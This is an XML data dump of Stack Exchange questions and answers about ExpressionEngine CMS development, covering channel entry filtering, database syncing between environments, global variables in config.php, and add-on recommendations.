  <row Id="1526" PostTypeId="2" ParentId="1107" CreationDate="2012-12-12T19:44:27.840" Score="1" Body="&lt;p&gt;If I understand you correctly, we do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Use a custom form that submits GET variables in the URL to a &quot;results&quot; template we create&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) A plugin we wrote which changes the GET variables into the segment URL structure &lt;a href=&quot;https://github.com/amityweb/get_segment_redirect&quot; rel=&quot;nofollow&quot;&gt;https://github.com/amityweb/get_segment_redirect&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Then custom search filters on the channel entries based on the segments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;restaurants&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    disable=&quot;categories|category_fields|member_data&quot;&#xA;    search:restaurant_region=&quot;{segment_2}&quot;&#xA;    search:restaurant_area=&quot;{segment_3}&quot;&#xA;    search:restaurant_sub_area=&quot;{segment_4}&quot;&#xA;    limit=&quot;10&quot;&#xA;    paginate=&quot;bottom&quot;&#xA;    orderby=&quot;random&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We also have this working via AJAX to update the search results as the form changes. &lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2012-12-12T19:44:27.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1527" PostTypeId="1" AcceptedAnswerId="1534" CreationDate="2012-12-12T20:06:23.713" Score="1" ViewCount="197" Body="&lt;p&gt;Does anyone have any advice on how to deal with separate databases (local, staging, live) for the same EE site on different servers? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client changes things on live, but I obviously do any site maintenance or updates from my local &gt; staging versions. I've accidentally overridden the client's changes to the live site before. Any advice on how to avoid this with a module that checks database changes, or even a way to block certain sections of the database from being overridden on import? (like say, any tables dealing with members)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking at &lt;a href=&quot;https://github.com/ckimrie/Site-Manager&quot; rel=&quot;nofollow&quot;&gt;Site Manager&lt;/a&gt; on github but it is currently in Alpha, so unsure when it can actually be used in production. I have &lt;a href=&quot;https://zenbustudio.com/software/zenbu&quot; rel=&quot;nofollow&quot;&gt;Zenbu&lt;/a&gt; installed to check entry edit dates, but no idea how to check for changes elsewhere.&lt;/p&gt;&#xA;" OwnerUserId="525" LastActivityDate="2012-12-13T12:59:30.663" Title="Managing database for single site across multiple servers?" Tags="|add-on|module|database|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1528" PostTypeId="2" ParentId="1107" CreationDate="2012-12-12T20:13:28.410" Score="0" Body="&lt;p&gt;Whenever I have looked into this it always come down to I have a large number or records that need to be filtered and I still need pagination so I need to stay with EE's channel entries loop to handle. The Low Search product is great for this if your filter criteria is based on regular fields. Categories is always a bit trickier due more to EE than anything else. But Low Search is still a great option for that as well. Comes down the number of entries you need to filter by (100 - 500 or more int he 10k or more range). In terms of performance, category filtering of entry lists is always going to be slower.&lt;/p&gt;&#xA;" OwnerUserId="601" LastEditorUserId="601" LastEditDate="2012-12-12T20:25:24.433" LastActivityDate="2012-12-12T20:25:24.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1529" PostTypeId="1" CreationDate="2012-12-12T20:33:51.580" Score="9" ViewCount="926" Body="&lt;p&gt;I was able to successfully show a custom field in the Playa list by adding this snippet to the &lt;code&gt;views/entry.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?=$this-&amp;gt;db-&amp;gt;select('field_id_XX')-&amp;gt;where('entry_id', $entry-&amp;gt;entry_id)-&amp;gt;get('channel_data')-&amp;gt;row('field_id_XX')?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All works well to show and list the custom field, but the filter breaks? Anyone know where I can update the filter to show the correct items when filtering?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did a little bit of digging after Alex mentioned the &lt;code&gt;droppanes.js&lt;/code&gt; and &lt;code&gt;filter_entries()&lt;/code&gt; method and it seems the filtering is done with AJAX as it queries the DB with the playa helper class: &lt;code&gt;system/expressionengine/third_party/playa/helper.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2012-12-17T16:54:58.743" LastActivityDate="2013-12-22T07:32:06.880" Title="Filter Playa List by Custom Field" Tags="|playa|" AnswerCount="1" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="1530" PostTypeId="1" AcceptedAnswerId="1550" CreationDate="2012-12-12T21:32:51.220" Score="2" ViewCount="59" Body="&lt;p&gt;Before I upgraded to EE 2, I used the Acronym module quite a bit on EE 1. Not so much for acronyms, but I used the fact that I could make convenient link shortcuts for frequently reused links with it. For example, I would define the acronym for a particular site as Site A-Link and I would set the text that it would replace to as &lt;a href=&quot;http://sitea.com&quot; rel=&quot;nofollow&quot;&gt;Site A&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any add-ons for EE 2 that could be used to accomplish something similar?&lt;/p&gt;&#xA;" OwnerUserId="352" LastActivityDate="2012-12-13T06:44:03.360" Title="Something similar to the Acronym module for EE 2?" Tags="|add-on|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1531" PostTypeId="1" AcceptedAnswerId="1546" CreationDate="2012-12-12T21:41:31.953" Score="3" ViewCount="154" Body="&lt;p&gt;I'd like to define snippets dynamically in the index.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="480" LastActivityDate="2012-12-13T03:18:10.933" Title="Is there a way to define snippets in the index.php or config.php file?" Tags="|php|config|snippets|dynamic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1532" PostTypeId="1" AcceptedAnswerId="1535" CreationDate="2012-12-12T23:13:17.440" Score="1" ViewCount="66" Body="&lt;p&gt;I've got an Intranet with a list of job postings (each of which are channel entries), and I need to give each logged-in user the ability to click a button to hide an individual entry from their listings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each user has their own user profile channel entry (I'm using Profile:Edit for this), so I imagine that adding a custom field to their profile named 'My Hidden Entries' is the way to go. I'm thinking that a field which saves entry ID's in a pipe-separated list would be good, as it'd mean I can use them in a channel entries tag to hide their hidden entries (entry_id=&quot;not {cf_user_hidden_entries}&quot;), as well as being able to use the opposite method to generate a list of entries a user has hidden (entry_id=&quot;{cf_user_hidden_entries}&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, does this approach sound good? And if so, what fieldtype would you recommend to use that would save entry ID's in a custom field in this format, and allow me to easily add/remove entries from their list? It's the adding and removing of entries that I'm particularly concerned about, as this will be done outside the CP.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2012-12-13T00:30:39.073" Title="Allowing individual users to hide entries" Tags="|channel-entries|entry|list|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1533" PostTypeId="2" ParentId="1531" CreationDate="2012-12-12T23:24:58.637" Score="4" Body="&lt;p&gt;No, you can't generate them dynamically but you can use &lt;a href=&quot;http://devot-ee.com/add-ons/snippet-sync&quot; rel=&quot;nofollow&quot;&gt;Snippet Sync&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/libraree&quot; rel=&quot;nofollow&quot;&gt;Libraree&lt;/a&gt; to use snippets as files and port them into other projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Libraree as part of my base install with a couple base snippets for a header and footer that I carry through projects. Using config overrides (&lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;Focus Lab's Master Config&lt;/a&gt;) I set where to store the files and edit away when I set up new projects&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Libraree&#xA;$config['libraree_basepath'] = $base_path . '/../snippets/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="219" LastEditorUserId="28" LastEditDate="2012-12-13T03:18:10.933" LastActivityDate="2012-12-13T03:18:10.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1534" PostTypeId="2" ParentId="1527" CreationDate="2012-12-12T23:35:05.800" Score="2" Body="&lt;p&gt;You'll find a lot of great info at &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/45/migrating-between-development-staging-and-production-for-a-pre-existing-express&quot;&gt;Migrating between Development, Staging and Production for a pre-existing ExpressionEngine site&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned in one of the answers, remember that content should flow from PROD =&gt; STAGE =&gt; LOCAL and code should migrate from LOCAL =&gt; STAGE =&gt; PROD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a similar workflow where I work on everything locally and migrate to staging before production. In most cases I'm able to ask the client for a content freeze while I make quick updates to their site locally, have them review on staging, and then migrate them live.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In cases where content freezes aren't possible, and the edits require more than just template updates, then I sometimes add the add-on/channel(s)/channel field(s)/categories/etc by hand on live after hours so not to overwrite the whole DB. Luckily this is pretty rare and I have been using SiteManager a lot for this. It works great!&lt;/p&gt;&#xA;" OwnerUserId="219" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2012-12-12T23:35:05.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1535" PostTypeId="2" ParentId="1532" CreationDate="2012-12-13T00:30:39.073" Score="4" Body="&lt;p&gt;To be honest, I would suggest using an addon like '&lt;a href=&quot;http://devot-ee.com/add-ons/likee&quot; rel=&quot;nofollow&quot;&gt;LikEE&lt;/a&gt;' which allows you to toggle an entry in some way. Obviously the natural suggestion is for 'liking' entries - however, you could use it whereby, you list the jobs and when a user 'likes' it - it's the indication to remove it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then inside your exp channel loop - simply do something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries .... }&#xA;    {exp:likee entry_id=&quot;{entry_id}&quot;}&#xA;      {if &quot;{like}&quot;}&#xA;       // They've liked it, so don't do anything&#xA;      {if:else}&#xA;      // Put your job logic here&#xA;      {/if}&#xA;    {/exp:likee}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might need to fiddle with the syntax - however, this would potentially be an easy way of doing it without messing with posting entries and channel updates etc.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2012-12-13T00:30:39.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1536" PostTypeId="1" CreationDate="2012-12-13T00:32:27.287" Score="2" ViewCount="129" Body="&lt;p&gt;I don't see any reference to the site parameter in any of the docs, is this available in the current release? We have built a multi site enviro for a retailer that allows for one control panel (front facing) so the client does not need to access the actual EE cp, in order for this to work I need to use the store tags but specify the site&#xA;thanks&lt;/p&gt;&#xA;" OwnerUserId="322" LastActivityDate="2012-12-14T01:49:17.970" Title="Exp:resso + MSM: Site parameter not available?" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1537" PostTypeId="2" ParentId="1530" CreationDate="2012-12-13T00:53:02.490" Score="0" Body="&lt;p&gt;Wouldn't that be right up global variables or snippets' alley?  You could do that with no need for any add-ons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An answer to another question pointed out this addon which seems like it may be even closer to what you are trying to accomplish &lt;a href=&quot;http://devot-ee.com/add-ons/crosslinking&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/crosslinking&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2012-12-13T05:07:52.423" LastActivityDate="2012-12-13T05:07:52.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1538" PostTypeId="1" AcceptedAnswerId="1542" CreationDate="2012-12-13T01:20:11.683" Score="1" ViewCount="53" Body="&lt;p&gt;I would like to add a field called &quot;Date Published&quot; to a channel field group. Naturally I selected the &quot;Date&quot; field type but this is useless because:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It takes too long to navigate to past years.&lt;/li&gt;&#xA;&lt;li&gt;It confuses the user by placing the time into the field.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there a way to improve upon this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: It is important that it will be easy to perform a custom channel query that shows entries that are &lt;code&gt;&amp;gt;= N&lt;/code&gt; years old.&lt;/p&gt;&#xA;" OwnerUserId="536" LastActivityDate="2012-12-13T01:54:49.533" Title="Better way to define &quot;Date Published&quot; field for channel field?" Tags="|channel-entries|custom-fields|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1539" PostTypeId="1" AcceptedAnswerId="1699" CreationDate="2012-12-13T01:28:08.170" Score="3" ViewCount="165" Body="&lt;p&gt;Is there an add-on which provides a template tag for automatically finding preset phrases and replacing them with alternatives that have been defined using a module interface?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My client would like this so that they can add standard hyperlinks throughout their content without having to do it manually. It would be a bonus if it provided an API which could be used when channel entries are created so that new mappings could be generated automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example the book title gets automatically substituted with &lt;code&gt;&amp;lt;a href=&quot;XYZ&quot;&amp;gt;Fishing for Idiots&amp;lt;/a&amp;gt;&lt;/code&gt; in the following content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{auto_replace}&#xA;{body}&#xA;{/auto_replace}&#xA;&#xA;// Where {body} evaluates to:&#xA;The book Fishing for Idiots features blah blah blah...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="536" LastActivityDate="2012-12-16T16:12:34.247" Title="An automatic find and replace module + plugin?" Tags="|add-on|templates|tags|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1540" PostTypeId="2" ParentId="1539" CreationDate="2012-12-13T01:46:59.833" Score="0" Body="&lt;p&gt;I don't think anything exactly like that currently exists. The closest you're going to get is &lt;a href=&quot;http://devot-ee.com/add-ons/low-replace&quot; rel=&quot;nofollow&quot;&gt;Low Replace&lt;/a&gt;, but that will only replace strings where you pass the values to it in the template.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2012-12-13T01:46:59.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1541" PostTypeId="2" ParentId="1478" CreationDate="2012-12-13T01:51:12.857" Score="1" Body="&lt;p&gt;You can build a custom &quot;My Account&quot; area in your EE templates to handle all editing of content. The primary addon you'd use is the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Safecracker Module&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some global variable conditionals you'll use a lot with a custom &quot;My Account&quot; area:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html#if-logged-in&quot; rel=&quot;nofollow&quot;&gt;{if logged_in}&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html#if-logged-out&quot; rel=&quot;nofollow&quot;&gt;{if logged_out}&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html#if-member-group&quot; rel=&quot;nofollow&quot;&gt;{if member_group == &quot;&quot;}&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html#if-member-id&quot; rel=&quot;nofollow&quot;&gt;{if member_id == &quot;&quot;}&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is also &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html#alternative-syntax&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;alternative syntax&lt;/strong&gt;&lt;/a&gt; for some of the above if you are trying to use the conditional inside a channel:entries tag... variable names get prefixed with &quot;logged_in_&quot;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-13T01:51:12.857" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1542" PostTypeId="2" ParentId="1538" CreationDate="2012-12-13T01:54:49.533" Score="1" Body="&lt;p&gt;I haven't used it, but maybe &lt;a href=&quot;http://devot-ee.com/add-ons/dropdate&quot; rel=&quot;nofollow&quot;&gt;DropDate&lt;/a&gt; is what you need.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2012-12-13T01:54:49.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1543" PostTypeId="2" ParentId="1522" CreationDate="2012-12-13T02:02:35.373" Score="2" Body="&lt;p&gt;You might need to wrap your code for the live rates in a cart_info tag and then check the value of shipping first, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:cartthrob:cart_info}&#xA;   {if cart_shipping&amp;gt;0}&#xA;       live rates code here&#xA;   {/if}&#xA; {/exp:cartthrob:cart_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="116" LastActivityDate="2012-12-13T02:02:35.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1544" PostTypeId="1" AcceptedAnswerId="1545" CreationDate="2012-12-13T02:29:37.120" Score="2" ViewCount="363" Body="&lt;p&gt;I have noticed that each custom field takes up 2 columns in the channel data table.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The second column often seems to have little value.&lt;/li&gt;&#xA;&lt;li&gt;Existing columns do not seem to be recycled for new channel field groups with the same field type.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This seems like quite a wasteful design because:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It increases the size of rows in other channels.&lt;/li&gt;&#xA;&lt;li&gt;Must surely come with various performance penalties (like full-text search perhaps).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Are there ways to optimize this? am I worrying unduly? what is the realistic maximum number of custom fields for an ExpressionEngine site?&lt;/p&gt;&#xA;" OwnerUserId="536" LastActivityDate="2012-12-13T02:45:27.697" Title="Should the channel data table have so many columns?" Tags="|custom-fields|database|optimization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1545" PostTypeId="2" ParentId="1544" CreationDate="2012-12-13T02:45:27.697" Score="3" Body="&lt;p&gt;What you are seeing in this table is how EE handles data storage in the database. There isn't a way to change this data structure. The second column tells EE how to format the content in the main data column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The structure of the table doesn't become an issue unless you have an enormous number of custom fields or a high traffic site with lots of data rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This post sheds some light on the &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/453/what-is-the-maximum-number-of-custom-fields-you-can-use-in-an-installation&quot;&gt;&lt;strong&gt;maximum number of EE custom fields&lt;/strong&gt;&lt;/a&gt; you can have in an install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've personally never had an issue with maxing out columns in that table during my 7+ year coding with EE.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2012-12-13T02:45:27.697" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1546" PostTypeId="2" ParentId="1531" CreationDate="2012-12-13T03:15:15.973" Score="7" Body="&lt;p&gt;You can't set up Snippets, but you can set up Global Variables in your config.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a code example from this blog post titled &lt;a href=&quot;http://pilotmade.com/blog/expressionengine-config-php&quot;&gt;&lt;strong&gt;ExpressionEngine config.php&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$default_global_vars = array(&#xA;&#xA;    // Tag parameters - Short hand tag params&#xA;    'global:disable_default'   =&amp;gt; 'disable=&quot;categories|pagination|member_data&quot;',&#xA;    'global:disable_all'       =&amp;gt; 'disable=&quot;categories|custom_fields|member_data|pagination&quot;',&#xA;    'global:cache'             =&amp;gt; 'cache=&quot;yes&quot; refresh=&quot;10&quot;',&#xA;    '-global:cache'            =&amp;gt; '-cache=&quot;yes&quot; refresh=&quot;10&quot;', // disable by adding a '-' to the front of the global&#xA;&#xA;    // Date and time - Short hand date and time&#xA;    'global:date_time'          =&amp;gt; '%g:%i %a',&#xA;    'global:date_short'         =&amp;gt; '%F %d, %Y',&#xA;    'global:date_full'          =&amp;gt; '%F %d %Y, %g:%i %a',&#xA;    'global:isipad'             =&amp;gt; (bool) strpos($user_agent,'iPad'),&#xA;    'global:isiphone'           =&amp;gt; (bool) strpos($user_agent,'iPhone')&#xA;&#xA;);&#xA;&#xA;// Make this global so we can add some of the config variables here&#xA;global $assign_to_config;&#xA;&#xA;if(!isset($assign_to_config['global_vars'])) {&#xA;    $assign_to_config['global_vars'] = array();&#xA;}&#xA;&#xA;$assign_to_config['global_vars'] = array_merge($assign_to_config['global_vars'], $default_global_vars, $env_global_vars);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-13T03:15:15.973" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1547" PostTypeId="2" ParentId="1539" CreationDate="2012-12-13T04:00:01.993" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;http://devot-ee.com/add-ons/shortcode&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Shortcode&lt;/strong&gt;&lt;/a&gt; addon was just released today and it's exactly what you are wanting.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Shortcode aims to allow for more dynamic use of content by authors and&#xA;  editors, allowing for injection of reusable bits of content or even&#xA;  whole pieces of functionality into any field in EE. Shortcode provides&#xA;  two types of codes for use in any content in EE: user-defined Macros&#xA;  specific to each author and each site, as well as a simple API for&#xA;  third-party plugins and modules to expose their tags through the&#xA;  shortcode Rich Text Editor dialog (or manual entry in any type of&#xA;  field) - complete with automatically rendered options forms.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Two Types of Codes&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Macros - User defined, author and site specific bits of reusable content - basically just like Snippets but can they can be embedded&#xA;  directly in any field type by your content Editors!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Shortcodes - Plugin/Module defined tags that can be injected into the middle of content, such as a ProForm form or other piece of&#xA;  functionality. This works similarly to the WordPress Shortcode API.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Features&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Macros defined by each user for their own use - each author could have the same macros defined with the same names, with different&#xA;  values that are dynamically replaced based on the assigned author of&#xA;  an Entry.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Macros defined by Super Admins for the entire site and usable in all content for each site (MSM compatible with separate sets of Macros&#xA;  for each site).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Macros and Shortcodes can be inserted manually in any fieldtype, or automatically through the included Rich Text Editor tool.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Simple Shortcode API that allows for any Plugin or Module to provide custom Shortcodes complete with automatically generated&#xA;  configuration dialogs&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Existing plugins and modules can be converted to shortcodes with very little code. Assistance in the forum is available for anyone who&#xA;  wants to add support to their own add-ons.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Assistance writing glue code for existing plugins or modules is also available - just post a request for support for the plugin in the&#xA;  forum.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-13T04:00:01.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1548" PostTypeId="1" AcceptedAnswerId="1551" CreationDate="2012-12-13T04:02:58.183" Score="4" ViewCount="928" Body="&lt;p&gt;How can I pre-fill a matrix field when creating a new channel entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason to do this (and why a matrix field is needed) is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Data is best entered and represented using a table.&lt;/li&gt;&#xA;&lt;li&gt;Unwanted rows can be removed.&lt;/li&gt;&#xA;&lt;li&gt;Additional rows can be added.&lt;/li&gt;&#xA;&lt;li&gt;To avoid having to re-enter row descriptions that are frequently used.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="536" LastActivityDate="2014-03-21T01:02:38.070" Title="Pre-fill matrix field when creating new entry?" Tags="|add-on|custom-fields|add-on-development|matrix|fields|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1549" PostTypeId="2" ParentId="1548" CreationDate="2012-12-13T04:26:20.140" Score="0" Body="&lt;p&gt;It's not pre filling, but have you thought about using &lt;a href=&quot;http://docs.cksource.com/CKEditor_3.x/Developers_Guide/Templates&quot; rel=&quot;nofollow&quot;&gt;CKEditor templates&lt;/a&gt; ? You would create as many code blocks as you would need and all the client would need to do is click the template button and choose the content chunk they want to create.&lt;/p&gt;&#xA;" OwnerUserId="237" LastEditorUserId="174" LastEditDate="2012-12-13T15:23:07.947" LastActivityDate="2012-12-13T15:23:07.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1550" PostTypeId="2" ParentId="1530" CreationDate="2012-12-13T04:56:33.287" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;http://devot-ee.com/add-ons/shortcode&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Shortcode&lt;/strong&gt;&lt;/a&gt; addon was just released today and may work. I posted the answer below for another SE question but it wasn't what he was looking for. It might do the trick for your scenario so I'm reposting the answer...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/shortcode&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Shortcode&lt;/strong&gt;&lt;/a&gt; aims to allow for more dynamic use of content by authors and&#xA;  editors, allowing for injection of reusable bits of content or even&#xA;  whole pieces of functionality into any field in EE. Shortcode provides&#xA;  two types of codes for use in any content in EE: user-defined Macros&#xA;  specific to each author and each site, as well as a simple API for&#xA;  third-party plugins and modules to expose their tags through the&#xA;  shortcode Rich Text Editor dialog (or manual entry in any type of&#xA;  field) - complete with automatically rendered options forms.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Two Types of Codes&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Macros - User defined, author and site specific bits of reusable content - basically just like Snippets but can they can be embedded&#xA;  directly in any field type by your content Editors!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Shortcodes - Plugin/Module defined tags that can be injected into the middle of content, such as a ProForm form or other piece of&#xA;  functionality. This works similarly to the WordPress Shortcode API.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Features&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Macros defined by each user for their own use - each author could have the same macros defined with the same names, with different&#xA;  values that are dynamically replaced based on the assigned author of&#xA;  an Entry.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Macros defined by Super Admins for the entire site and usable in all content for each site (MSM compatible with separate sets of Macros&#xA;  for each site).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Macros and Shortcodes can be inserted manually in any fieldtype, or automatically through the included Rich Text Editor tool.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Simple Shortcode API that allows for any Plugin or Module to provide custom Shortcodes complete with automatically generated&#xA;  configuration dialogs&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Existing plugins and modules can be converted to shortcodes with very little code. Assistance in the forum is available for anyone who&#xA;  wants to add support to their own add-ons.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Assistance writing glue code for existing plugins or modules is also available - just post a request for support for the plugin in the&#xA;  forum.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-13T06:44:03.360" LastActivityDate="2012-12-13T06:44:03.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
